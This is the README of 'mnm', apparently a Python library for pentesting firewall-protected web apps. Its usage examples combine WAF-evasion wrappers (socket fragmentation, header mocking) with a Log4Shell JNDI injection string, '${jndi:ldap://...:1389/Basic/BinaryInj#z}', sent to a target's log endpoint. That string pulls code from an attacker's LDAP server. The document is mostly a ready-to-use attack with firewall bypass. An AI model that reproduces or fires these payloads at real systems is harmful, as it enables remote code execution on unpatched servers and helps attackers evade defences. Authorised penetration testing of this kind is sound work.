mnm

This is a simple python library for pentesting firewall protected webapp.

Installation

pip install mnm

Usage

from mnm import *
import requests

@mixed(SocketFragmentation(slice=5), HeaderMocking())
def mixed_options(ip):
    r = requests.get(f'http://{ip}/log', data={
        "log": "${jndi:ldap://localhost:1389/Basic/BinaryInj#z}"
    })
    print(r.text)

@mixed()
def mixed_simple(ip):
    r = requests.get(f'http://{ip}/log', data={
        "log": "${jndi:ldap://localhost:1389/Basic/BinaryInj#z}"
    })
    print(r.text)

def with_pattern(ip):
    with SocketFragmentation(slice=5), HeaderMocking():
        r = requests.get(f'http://{ip}/log', data={
            "log": "${jndi:ldap://localhost:1389/Basic/BinaryInj#z}"
        })
        print(r.text)

License

MIT License